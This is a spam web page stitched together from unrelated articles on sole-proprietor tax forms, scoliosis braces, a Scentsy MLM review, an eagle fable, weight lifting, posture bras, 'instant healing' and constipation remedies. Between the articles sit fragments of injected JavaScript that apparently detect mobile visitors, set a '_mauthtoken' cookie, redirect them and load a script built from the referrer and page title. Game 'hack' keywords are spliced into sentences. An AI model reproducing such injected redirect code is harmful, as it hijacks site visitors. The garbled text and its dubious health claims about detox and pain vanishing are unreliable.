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Schedule C Tax Tips – What Payroll Tax Forms Should You File?

If you own a sole proprietorship and have employees, what payroll-related tax forms are you required to file? This article will answer that question.
First things first. Let’s check to make sure you really have employees. Take a look at Schedule C, Line 26, Wages. If there’s an amount on that line, then you are reporting wages and/or salaries as a business expense, and that usually means your business has employees.
Now take a look at Schedule C, Line 11, Contract labor. This is where you report non-employee compensation for independent contractors. In other words, if you paid other sole proprietors to perform services for your business, you did not pay them as employees but as independent contractors. You didn’t withhold any income tax, social security tax or medicare tax from their compensation.
It is perfectly legal for any sole proprietor to have employees only, independent contractors only, or a combination of both. The point here is that if you have employees, you should be reporting their wages/salaries on Schedule C, Line 26.
Also note that employee wages for a sole proprietorship never includes payments made to the owner of the sole proprietorship. Whenever you take money out of the business for yourself, that is simply considered a withdrawal of profit, and for tax purposes is never treated as a deductible business expense. Your profit distributions are not reported on Schedule C as wages or as anything else, for that matter.
So assuming you did have bona fide employees, and you paid them as such and did all the appropriate withholding calculations, what payroll tax forms should you have used? Here they are:
1. Form 941, Employers Quarterly Federal Tax Return.
This form must be filed for each calendar quarter by the end of the month following the end of the quarter. So the due dates are April 30 (1st Quarter), July 31 (2nd Quarter), October 31 (3rd visit our website Quarter) and January 31 (4th Quarter). The purpose of this form is to report each quarter’s total wages, federal income tax employee withholdings, social security tax/medicare tax employee withholdings, and social security tax/medicare tax employer expense.
2. Form 940, Employer’s Annual Federal Unemployment (FUTA) Tax Return
This form is filed at the end of the year and is due January 31 of the following year. The purpose of this form is to report the employer’s federal unemployment tax, which is 0.8% of the first $7,000 of wages paid to each employee each year.
3. Form W-2 / Form W-3
These forms are also filed annually. The purpose of Form W-2 is to report each employee’s gross wage, tax withholdings and other payroll-related information. A copy of the W-2 must be sent to each employee by January 31. A copy of all W-2’s must be sent to the Social Security Administration by February 28, along with Form W-3, which provides summary totals for the various amounts reported on the individual W-2’s.
Each state also has it’s own employment-related payroll tax forms, so check with your state’s departments of revenue and unemployment tax for details.} else {} else {

Scoliosis Bracing – Go For Spinecor Brace

What Is It All About?

The word Scoliosis is derived from the Greek word Skoliosis, meaning ‘crooked.’ It is a medical condition. The spine of the person suffering from it gets curved. It can be detected only by an X ray. It is a three-dimensional deformity. In the United States alone, more than seven million people suffer from this condition. The spine takes the form of an « S » or a « C » sometimes in this condition. This condition can also affect animals, such as cats and dogs. It can be classified into the following forms:

1.Congenital: The abnormalities already present in vertebrae cause this type.
2.Neuromuscular: It is usually developed as a side effect of some other severe condition or accident. Physical injury, cerebral plasy, spina bifida are a major cause of this type.
3.Idiopathic: The cause of this type remains a mystery. It is further classified into four subcategories, namely, infantile, juvenile, adolescent, and adult, according to age.


This condition prevents physical capacity and can lead to decreased lung capacity and heart problems. In severe cases, symptoms can be really bad, such as asymmetric breasts in females, uneven leg lengths, uneven or prominent hips, and visit our site even slow nerve reaction. This problem can be detected by examining the body posture. Physicians match the symmetry of the body. This is done to ascertain if shoulders and hips are at equal height. Abnormal curves, uneven breasts, and hips are symptoms of this problem. When the condition is due to genetic factors, it can be easily detected by skin changes.

Try Braces For Maximum Relief

There are various cures and equipment available. One of the most common and effective among them is Scoliosis bracing. These braces are used to relieve pain and to hold the distorted spine. Braces are very helpful in preventing the spine from progressing any further. This way, using braces can avoid surgery of distorted spine. Basically, the patient’s spine is encased with a device, which covers his torso and sometime neck. This is called scoliosis bracing. These braces are made of plastic or fiberglass. Braces are always custom-made. Scoliosis soft brace can be used very effectively to prevent further spine distortion in young adults and children. One of the most effective braces is Spinecor Brace. It is very effective in cases of Adult Scoliosis of Adolescent Onset, De-Novo Adult Scoliosis, and Adolescent Idiopathic Scoliosis.

However, it is most effective when the condition is detected and treated early. The success rate of this brace largely depends on the duration of use, age, and health of patients. The soft brace is an advanced method of treatment. Soft braces, such as spinecor, can be easily adjusted beneath clothes. Thus image is not affected. It is especially helpful for children. Since physical activity is not much impacted, children are referred scoliosis soft brace only. Also, the flexibility and softness provided by this brace is unmatched. Comfort becomes an important factor in scoliosis bracing.

Choose The Best One

Sometimes, this condition can become very severe and painful. Bracing helps to reduce pain. Bracing is also helpful in preventing the growth of misshaped spine. If you want to get the maximum relief, go only for a good scoliosis bracing.}if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}} else {

Schedule C Tax Deductions – « E » is For Employees, Education and Entertainment

Looking for legitimate tax deductions for your income tax returns this year? Here are three common expenses you can deduct on Schedule C, all starting with the letter « E ».
There are several legal deductions related to your employees. Obviously, the compensation you pay them is reported on Schedule C, Line 26. Even though the description for this item is « Wages », don’t stop there. Salaries, commissions and bonuses are also deductible and should be put on Line 26 also.
What about your own compensation as the sole proprietor? Don’t make the mistake of reporting that on Line 26. Then where does it go? It doesn’t go anywhere on Schedule C. The money you withdraw from the business out of profit, also known as « draw », is not a business expense.
What about employee benefits? Things like health insurance, medical expenses that are paid via a Medical Reimbursement Plan, retirement plan contributions (such as the employer’s payments on behalf of the employee into a SIMPLE IRA Plan or a SEP) are all deductible. These expenses can be added together and reported on Line 14, « Employee benefit programs. »
Only health insurance premiums for your employees are deductible on Schedule C. Health insurance premiums for yourself are deductible, but don’t put that on Schedule C; those get reported on Form 1040, Line 29. If you have a SIMPLE IRA Plan, the contributions you make for your employees go on Schedule C, but the contributions you make into your own account go on Form 1040, Line 28. The same is true for SEP contributions, which are reported on Form 1040, Line 28.
If you attend a conference, workshop or seminar to improve existing business-related skills, or take a college or graduate school course for that purpose, the expense is deductible. The key here is that the material must be related to your existing business. For example, if you monster legends hack tool are a computer software consultant, any type of class dealing with computers would qualify. But if you take a class in engineering because you are considering a career change, that class would not be deductible. Also, don’t forget that many business classes apply to virtually all types of businesses, such as courses in bookkeeping or marketing. Report education expenses on Line 27, Other Expenses.
This is an area that the IRS loves to scrutinize, for obvious reasons. When entertaining existing or potential customers, if you attend a sporting event or a concert, for example, 50% of that expense is deductible (just like meals). Just be sure you engage in a substantial business discussion before, during or after the event, and write-off is legitimate.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »; if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}}

Schedule C Tax Tips – 3 Easy Ways to Reduce Self-Employment Tax

Frustrated with the amount of self-employment (SE) tax you pay each year? You should be. The sole proprietor pays twice as much in SE tax (15.3%) as the employee pays in federal payroll taxes (7.65%). What’s a Schedule C filer to do? Here are three ways to reduce the dreaded SE tax.
1. Take the home office deduction. Have you been mislead by the never-ending rumor that the home office deduction increases the chances of an audit? Such talk is bogus, and to believe it is to needlessly pay too much tax. Here’s why: Don’t forget that when you take a deduction on Schedule C, you are not only reducing income tax, you are also reducing SE tax. Some folks think that they are getting the same bang for their buck without the home office deduction because they can deduct mortgage interest and property taxes on Schedule A. But this is foolish thinking, because a Schedule A deduction only reduces income tax, while a Schedule C deduction reduces both income tax and SE tax.
2. Deduct tax preparation fees on Schedule C instead of Schedule A. The logic here is similar visit our site to Item #1 above. Tax preparation fees are deductible on Schedule A, but why deduct them there when you can deduct them on Schedule C and get more bang for your deductible buck?
Also keep in mind that when deducted on Schedule A, tax preparation fees are only deductible, along with other « Certain Miscellaneous Deductions », to the extent they exceed 2% of your Adjusted Gross Income. So even though you have enough deductions to itemize them on Schedule A, you may not have enough of these miscellaneous deductions to actually deduct them. That’s taxes for ya!
One word of caution, however. You can only deduct tax prep fees on Schedule C to the extent those fees apply to business work done by your accountant. So you will probably have to ask your accountant to breakout his fees into business forms (like Schedule C, Schedule SE, Form 8829 and Form 4562) and non-business forms (like Form 1040 and Schedule A).
Remember, too, that your accountant might also do work for you that is exclusively business related, such as bookkeeping, software consulting, paycheck processing or payroll tax returns. Those types of fees are 100% deductible on Schedule C.
3. When it comes to calculating SE tax, get some help. The self-employment tax calculation is complicated. While the SE tax appears to be a straightforward 15.3%, it is actually a little less than that, for two reasons. First, you pay the SE tax on 92.35% (not 100%) of your Schedule C profit. And second, you get to take a deduction on Form 1040 for 50% of the SE tax. And while you must pay the Medicare portion of SE tax on all your profit, there’s a limit to how much profit (plus W-2 wages) are subject to the social security portion of SE tax. How do you navigate those calculations? You don’t. You spend a few bucks on a decent tax prep software program and let the computer prevent your head from spinning, or you hire a tax professional.if (document.currentScript) {

Scentsy Reviews – Does Scentsy Actually Smell Of Income To You?

Seeking a genuine Third Party Scentsy Reviews? Then, look no more.

If you’re on this Scentsy Review page, chances are visit here you are pondering joining the business. You have made an intelligent decision to perform your own own due diligence first. Let me be clear, that I am not associated with Scentsy in anyway, therefore you’re able to be certain the facts you get will be 100% genuine from an impartial point of view.

This post will reveal anything you’ll want to find out about Scentsy so that you’ll be able to make an educated decision. In addition, it’s going to disclose just what nearly all reviews or company distributors don’t let you know about how you can actually have Scentsy success, in case you choose to join.

Precisely What’s Scentsy About?

Scentsy was launched in ’04 and their product is actually candles. You could be thinking who would purchase candles through a network marketing company when you can get them from any store? Your concerns are really reasonable and ought to not be taken lightly when you’re looking at this organization.

One of the crucial factors to selecting a mlm home business is the appeal with the product to the masses along with it’s originality.

The uniqueness with the Scentsy products is the fact that it’s wickless. They’re actually wax bars that when melted will produce various scents. These wax bars are developed to spread aroma much better than the traditional candle.

The Scentsy candle will come with a decorative base that rests on a 15 -25 watt light bulb, rather than an open flame. There are more than 80 fragrances along with new fragrances released every season.

The Price – What Other Scentsy Reviews Don’t Disclose

Beware of most Scentsy reviews since most are published by company reps that merely want you to enroll in the company without letting you know everything.

To get up and running in Scentsy, there’s a cost of $99, in addition to shipping and taxes.

You Are Going To receive a Scentsy starter kit which includes tester fragrances, business supplies, as well as demo product to use at house parties.

You’ll also get a marketing consultant website at no cost, BUT only for 3 months. If you want to retain it following that, you’ll pay an additional $10 each month. To remain an active Scentsy distributor, you need to buy $150 of product once a quarter.

The Biggest Element Other Scentsy Reviews Hide From You

As I mentioned before, nearly all Scentsy reviews will not offer you the entire story. They basically want you to join their company because the only way to get to the large cash in Scentsy is to recruit individuals in to the organization.

Should you only want to earn a few additional dollars and get the candles for a cheap price, then simply sell the candles and you will get 20-30% commission on your sales.

However, when you are aiming to have the large money, you need to do much more than simply pedal candles. The substantial cash is made whenever you recruit other people because you begin to qualify for larger bonuses and you even make further commissions on the merchandise sales your downline earn.

There’s no problem with the Scentsy comp program, nonetheless the downfall is the Scentsy training is totally outdated and ineffective. Your Scentsy sponsor will teach you the core method that Scentsy teaches to build your business, which is to read more have house parties. They also tell you to ask all your relatives and pals to host gatherings for you and to have refreshments and display your demo products at each party.

This can Never lead to long-term Scentsy success.

Your warm market (family & buddies) may buy a few candles, yet, 95% will Never join your home business. The other Scentsy reviews fail to mention that.

The Best Way To Be A Success In Scentsy

If you wish to have good results in Scentsy or any mlm home based business, you need to discover how to brand yourself, produce your own leads and use the power of online marketing to promote your home business properly.

Learning how to generate your own leads online ensures that you never ever run out of qualified leads to offer your Scentsy business to, BUT MOST significantly, you never need to run after family or buddies again.} else {

Lightning Crashes – A Spiritual Story

With a thundering and ominous boom, lightning struck fiercely into the redwood tree nearly splitting it in half. As the rain continued to pour, Mother Eagle knew she had but one chance to save her offspring before the tree would no longer stand. She knew they all had at least another 30 years of …With a thundering and ominous boom, lightning struck fiercely into the redwood tree nearly splitting it in half. As the rain continued to pour, Mother Eagle knew she had but one chance to save her offspring before the tree would no longer stand. She knew they all had at least another 30 years of life left in them, and she was going to do everything in her power to make that become reality. Even then, she was not confident that her family would survive this storm even taking into account the tree’s promise to do its part by standing tall as long as possible, regardless of the fact that it knew its moments were nearly gone.
Mother Eagle knew she had to move each offspring one by one to a new safe place, so she flew them individually to a small nearby cavern where she knew they’d be safe. Unfortunately, Mother Eagle was growing old and her talons were not as strong as they used to be, and this ordeal was a significant strain upon her already wavering body.
She returned to the nest for her last little one, Antinanco, and as she was closing her talons upon him, another bolt of lightning struck the tree its final blow. The eagle’s nest also split in two from the vibration, Mother Eagle lost her grip, and little read more details Anti plummeted towards the ground.
Without hesitation, Mother Eagle dove down, cutting through the air like a razor, in an attempt to save her littlest, yet oldest child. Fortunately, Mother Eagle gripped him in the nick of time and swooped him away to be safe with his other siblings.
For the next few years Mother Eagle taught her offspring how to hunt. It became a necessity because her beak was now crooked, her feathers old and tattered such that they couldn’t keep her in flight, and her talons weak and weary. She could no longer hunt herself. Just as she had taken care of her children, now it was their turn to take care of her. In fact, some of them took care of her for another few decades as she become incapable of doing it herself.
Some of Anti’s siblings left their new home to explore the world on their own, and Mother Eagle understood. She saved them on that night knowing that not all would stay. Some had to pave their own path, even if it meant they would die at a young age without their siblings or family to care for them when their own beaks would curve and talons would weaken. Still, it did not matter because when the soul calls from within an eagle, the eagle must respond.
Upon reaching the 40th year of her life, Mother Eagle knew it was finally time to give her life to the Great Spirit. Anti and his few remaining siblings carried Mother Eagle to the highest rock within hundreds of miles and they laid her there to rest. Upon this rock, she knew there would be no food and so she continued to stand proud until she was so weak that her talons could no longer hold her up.
Not long after her body collapsed onto the rock, wings hanging heavily over the sides like wet clothes set out to dry, she took her final breaths. And upon that last exhilation, she saw the green light of compassion eminating from the Great Spirit as it lifted her into the clouds above.
Meanwhile, back at home only Anti and one other remained — his brother Quidel. As the oldest, Anti’s responsibility was to protect all of his siblings just as Mother had done, and Anti had done so with joy and diligence. That is, until, another storm came.
Again, the lightning violently struck the tree that he and Quidel were perched upon. Anti knew his brother would be fine though because over the years he had taught him to be prepared for the worst. Anti leapt into the sky knowing Quidel would follow.
But Quidel didn’t.
Anti looked back to see Quidel’s body split in half and burst into flames in just the same place and way the tree had been. It was a perfect hit, a bull’s eye as they say. Anti didn’t see this as perfect, but he had no choice except to turn his head and continue back to safety. All the way back, he mourned and wondered why these storms often wrought havok among his family.
Not long passed before Anti’s talons began to become weary and his beak began to curl. His feathers were becoming old and had difficulty sustaining him in flight, and he knew his time was now coming just as his mother’s had before him. share this website And just like the lightning had split Quidel in two, this new awareness struck fear into Anti’s heart more fiercely than anything he had ever experienced before. Simply put, he wasn’t ready to die and he knew it!
Of course, what he wanted didn’t really matter because his body was telling him it was time. Knowing he had very little time remaining, Anti spent his last energy flying to the same rock where his mother gave her soul to the Great Spirit. He found some solace in knowing that he and his mother will have departed in the same way, from the same place. Unfortunately, he could not make it there. He slowly floated back to the ground because his feathers were so worn that no matter how hard he flapped them, he could not lift off again.
Then an unmistakable vision came into his awareness… he saw himself on the fateful night of Quidel’s death. Anti felt trapped in a cone of flame, his body burning to ashes as he saw himself flying away. Anti couldn’t understand what this vision was trying to tell him, but he knew it was important. The vision dissipated, and he was left again looking at the sky feeling as though he’d never make it back to the rock for his final meeting with the Great Spirit.
Moments later, a giant bird unlike anything he had ever seen before dove straight at him from miles above. Anti shook his head at the irony because he intended to give himself to the Great Spirit, not to a giant bird! He quickly learned that life does not always turn out as he expects.
The giant bird opened its mouth wide and picked Anti up entirely in it so that only the blackness this bird’s closed mouth could be seen. When the darkness finally left and the light returned, Anti looked to see the giant bird in front of him hovering next to the rock that Anti had been incapable of reaching on his own. As he looked into the giant bird’s eyes he knew that he was looking at his brother, Quidel, reborn. Quidel understood that just as he had faced his own death and rebirth, Anti must face his own death. Quidel throne rush hack gave a nod, and like a lightning bolt, he left even more quickly than he had arrived.
Over Anti’s last numbered days he became weak and weary just as his mother did. His talons slowly became weaker and weaker, and his body drooped more and more. His feathers marvel future fight hack online had become so ragged that even if he wanted to fly, even if he had the strength to fly, they would be unable to hold him in the air.
As Anti slipped in and out of consciousness, he had an incredible vision. An aura of green light surrounded him and the rock he was slouched over and the Great Spirit’s presence gave Anti the awareness that his life did not have to be over. His mother did not know this when she left, but there was another way. Then the aura faded, the Great Spirit left, and all that was left was a battered and torn eagle upon a rock in the sky.
Suddenly, Anti knew what had to be done and he mustered up all the strength he had to repeatedly batter his beak against the rock. He did this so fiercely that half of his beak broke off and brought forth the most excruciating pain he had ever known… a pain that reminded him of what Quidel must have felt when he was struck by the lightning.
In this newfound understanding, Anti also realized that he could live for many more days without food. He didn’t understand how this was possible or even how he could know this, but it didn’t matter because he knew it to the core of his being. During the following days, his beak grew back to its original length, but without the curl it was now sharp and useful again.
He then plucked all of his feathers, one by one, until he had none left. Just like his beak, over many days the feathers grew back in fresh until the final day when Anti pulled upon his last ounces of strength and gently glided down to the earth where he slowly fed his way back to full health.
Anti lived another several decades and enjoyed raising his own family. He taught his children of the many hunting tricks he knew, of some stunningly beautiful aerial maneuvers, but most of all, he taught them what he had learned about being reborn. He told them the stories of lightning and thunder, of fire and rock, and he passed to them the deep understanding that even when their beaks curled and their feathers could no longer hold them in flight, death was not a guarantee. Anti made sure they understood that when this time of life comes, they will be faced with the most difficult decision of their entire lives. In this rite of passage, they will have to ask themselves a single question:
« Am I willing to sacrifice all that I am and know myself to be in exchange for rebirth into a new life? »document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName('head')[0].appendChild(s);

Lifting Basics – The Do’s And Don’ts Of Weight Lifting

Weight lifting is a power training activity which many people participate in for the purpose of building, strengthening and increasing muscle mass and also for the purpose of losing weight. Before attempting to lift weights, here are some helpful tips that can help throne rush cheats you to achieve weight lifting read more details success.
Lifting the appropriate weight is one of the most essential things you should do when weight lifting. You should make sure that the weight you lift is comfortable when you do it at least 15 times. Doing a basic set of 15 repetitions at the correct weight amount will help you quickly build up your strength. The surefire way to hurt yourself is by trying to lift the wrong amount of weight.
Skipping warm ups is one common mistake made by weight lifters, both beginners and experienced lifters make this mistake. Ten minute warm- ups of stretching or any form of aerobic activity should be done share this website before attempting to lift weights. Warm ups help to decrease the risk of injuries and should not be left off.
Proper form is essential when practicing the correct weight lifting methods. The amount of weights that you use when performing weight lifting techniques should not be to light nor should it be too heavy.
If you have pain, don’t attempt to work through it. Pain is a sign that something is going awry. As you progress in your workout, pain should not be a part of your practice. It usually means you are not dong something properly, and you should stop the lift, lower the weight value, wait for later or seek out someone more experienced for advice.
Do not overwhelm your muscles by working the same muscles every day. If you intend to lift weights everyday you should balance your workouts whereby, the different muscle groups will be worked out each day or you can work the same muscle groups every other day. Allow your muscles at least twenty four to forty eight hours rest and recovery time, in this way you reduce muscle fatigue.
Slow down. Learning to use weight lifting methods can be exciting. It is important to remember, however, that rushing only results in poor form and possible injury. When doing repetitions, it is important to take it slow, isolate the muscles and work with your body and not against it.
By adhering to these simple tips on how to lift weights safely, you will reduce the risks of common injuries such as fractures, sprains, joint dislocations and long term injuries such nerve damage, bone stress, muscle overload and rotator cuff damage.}

Posture Bras – Do They Help Improve Your Posture?

If you are looking for ways to improve your posture, it may be time to consider trying a good postural or support bra. Let’s be clear, simply wearing a support bra will not magically fix your posture or back pain. What it will do, however, is provide very good back support and « remind » you to self-correct your alignment. Combined with some simple habits, many posture bras can significantly help improve your posture.

First, it helps to understand the specific bra characteristics and how they are designed. The main distinguishing feature of these bras is superior upper back and shoulder support – the bra essentially pulls your shoulders up and back to alleviate pressure. Most of them are constructed with reinforced bands then designed to criss-cross in the back. They will not have underwires because of this design. Some of the longline designed bras will also have back and body support panels for additional support. Others have a pullover athletic design.

How can a posture bra actually help your postural alignment? The design causes the bra to pull your shoulders in – this click here serves as a reminder for you to keep your shoulders in and to also sit up straight. Yes, there is some work for you to do! Activate your muscles in the neck, back, and shoulders to keep you posture aligned – head level, shoulders back, lower back straight. The posture bra lends great support but cannot do all the work – share this information it is the trigger that reminds you to engage the correct muscles.

If you already have fairly poor posture, you should use a posture bra and combine it with the relevant neck and back postural exercises. The posture bra will provide excellent support so that you can strengthen these muscles up slowly.

If you already have decent posture, the posture bra can serve as an excellent maintenance and preventative device. It is especially effective for people that are in seated positions for extended periods – for example office workers, drivers, etc.

In summary, if you have the right expectations, a postural support bra can help improve and maintain your posture significantly.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »;

Practical Mind Skills – Huna Secrets of Instant Healing

Have you ever whacked your thumb really hard with a hammer? Or perhaps stubbed your toe on a heavy chunk of furniture? Annoying isn’t it?
How would you like to know a clever little mind hack that can eliminate virtually all the pain in under a minute?
One of the most practical applications of mind power and auto-suggestion is the ability to control clash of lords 2 hack physical pain symptoms. Often times what we experience as pain is not so much the physical damage signals themselves (which for obvious reasons are extremely valuable) but the emotional irritation and annoyance at having whacked our thumb or stubbed our toe.
What’s really interesting about this phenomenon however is just how much ‘physical’ pain symptoms can be turned off by playing with this simple technique for a couple of minutes.
A quick caveat – whilst you can eliminate most pain symptoms with hypnosis and energy psychology tools, you have to ask yourself why you’re experiencing the pain in the first place. Please use this technique sensibly!
I’ve found this drill works great for minor bumps, scrapes and blunt instrument damage. If you’ve burned or cut yourself, there are better methods you can use to speed healing whilst you’re attending to the immediate, common sense, first aid requirements first.
Here’s how you can experiment with ‘Instant Healing’ as follows:
Step 1) If you or someone you know thumps their thumb with a hammer, stubs their toe or has some similar minor injury, instead of jumping up and down shouting, carefully repeat the incident but MISS the thumb, toe etc.
For example, if you whacked your thumb with a hammer, repeat the hammer blow slowly and deliberately, missing the thumb each time.
Step 2) Repeat between 10-50 times immediately after the incident, so if you say hit your thumb with a hammer, repeat the swing and carefully hit the wood/nail etc you were originally aiming at.
Step 3) As you repeat the motion, say to yourself firmly ‘nothing happened’!
Step 4) Repeat until you notice most if not all of the pain has just quickly melted away…
The quicker you can do this after the actual event the better and in our experience you can reduce the subjective experience of pain by approximately 80-90% within a minute or two. A very handy trick to have up your sleeve!if (document.currentScript) { } else {

Constipation Remedies – Most Effective Hard Stool Treatment

Constipation is a problem related with the secretion of stools. It is a gastro intestinal trouble. It decreases the frequency of bowel movements. When someone is facing this problem, his stools are hard and dry or infrequent. These symptoms suggest that there is a problem with metabolism. Constipation stops the body from flushing out the toxins. If constipation remains for long time, toxins might flow in the other parts of the body and it can raise serious health problems.
Like any other disorder constipation also shows some symptoms. These symptoms can easily lead us to the related problem. It is a symptom of constipation when there is a feeling of incomplete evacuation right after visiting toilet. If someone has to use here certain techniques read more such as finger evacuation or manipulation of lower abdomen must seek medical supervision. Other symptoms are, excessive strain while passing stool, hard stool or feeling of rectal blockage. People with following symptoms must consult a doctor; thin stools, pain in abdomen, blood in stool, weight loss, diarrhea, when this symptoms persist you must seek medical supervision as soon as possible.
Hard stools or dry stools are results of improper muscular contraction of colon. There are some factors which can help to understand the cause of this disorder. Dehydration or poor fluid intake or low fiber diet will lead to constipation. These are most common causes of constipation. Spinal injury, electrolyte imbalance, intestinal obstruction, imbalance of hormones, intake of certain medications might cause constipation. There are some remedies that can help in constipation.
1. Water and other liquids such as fruit juices will help in the process of healing. Liquid keeps the stool soft and thus, stool will pass easily. However, selection of liquid must not include alcohol, drinks rich with caffeine like tea or coffee and carbonated beverages.
2. Chlorella Green Algae is a nutritional powerhouse. It is easy to digest and easily assimilates through digestive tract. It nourishes the intestine and love here soothes and heals the mucous lining. It helps the body to detoxify and purifies digestive system.
